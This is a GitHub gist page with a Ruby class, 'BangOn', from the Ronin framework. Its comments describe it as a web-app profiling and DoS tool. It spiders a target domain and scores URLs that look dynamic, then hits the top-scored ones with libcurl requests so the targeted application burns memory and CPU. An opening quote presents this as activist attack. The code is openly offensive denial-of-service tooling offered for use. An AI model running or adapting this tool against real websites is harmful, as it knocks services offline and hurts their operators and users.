Created
June 20, 2009 22:52
-
-
Save postmodern/133318 to your computer and use it in GitHub Desktop.
A web-app profiling and DoS tool.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'spidr' | |
require 'curb' | |
module Ronin | |
module Web | |
# | |
# "Bang on the bars of the cage which imprisons you. Together, our | |
# actions can reduce the mightiest of prisons to ruins." | |
# | |
# --Anonymous | |
# | |
# BangOn is a simple web-app profiling and DoS tool. BangOn can spider | |
# a web-site, collecting every URL and assigning a score to them. | |
# | |
# BangOn can then use libcurl to perform a DoS against the highest | |
# scored URLs, hopefully causing the targetted web-app to consume | |
# above average memory and CPU. | |
# | |
# BangOn can also dump and load web-site profiles to and from simple | |
# human readable YAML files. | |
# | |
class BangOn | |
attr_accessor :profile | |
def initialize(domain) | |
@domain = domain | |
@profile = Hash.new { |hash,key| hash[key] = [] } | |
end | |
def BangOn.load(path) | |
path = path.to_s | |
hash = YAML.load_file(path) | |
unless hash.kind_of?(Hash) | |
raise(StandardError,"#{path.dump} must contain a YAML hash",caller) | |
end | |
unless (hash[:domain] && hash[:profile]) | |
raise(StandardError,"#{path.dump} must contain the :domain and :profile keys",caller) | |
end | |
bang_on = BangOn.new(hash[:domains]) | |
bang_on.profile = hash[:profile] | |
return bang_on | |
end | |
def clear! | |
@profile.each_value { |urls| urls.clear } | |
end | |
def profile! | |
clear! | |
Spidr.host(@domain) do |spider| | |
spider.every_url do |url| | |
score = score_of(url) | |
unless score == 0 | |
STDERR.puts "[*] Score #{score}: #{url}" | |
@profile[score] << url | |
end | |
end | |
end | |
@profile.rehash | |
end | |
def bang_on! | |
@profile.values.reverse_each do |urls| | |
urls.each do |url| | |
Curl::Easy.perform(url.to_s) do |curl| | |
curl.verbose = false | |
end | |
end | |
end | |
end | |
def score_of(url) | |
# return 0 for root | |
return 0 if url.path == '/' | |
# return 0 for static content | |
return 0 if url.path =~ /\.(htm|html|xhtml|gif|jpg|jpeg|png)/i | |
total = 0 | |
# profile the path | |
dirs = url.path.split('/') | |
dirs.each do |dir| | |
# +1 for numeric directories, implies RESTful urls | |
total += 1 if dir =~ /^\d$/ | |
end | |
if url.query | |
# enumerate through the query hash | |
url.query.split('&').each do |name_value| | |
name, value = name_value.split('=') | |
# +1 for numeric query params | |
total += 1 if value =~ /^\d+$/ | |
# +1 for nested-hash query params | |
total += 1 if name =~ /[a-zA-Z0-9]+\[[^\]]*\]/ | |
end | |
end | |
return total | |
end | |
def dump(path) | |
File.open(path,'w') do |file| | |
YAML.dump({:domain => @domain, :profile => @profile},file) | |
end | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment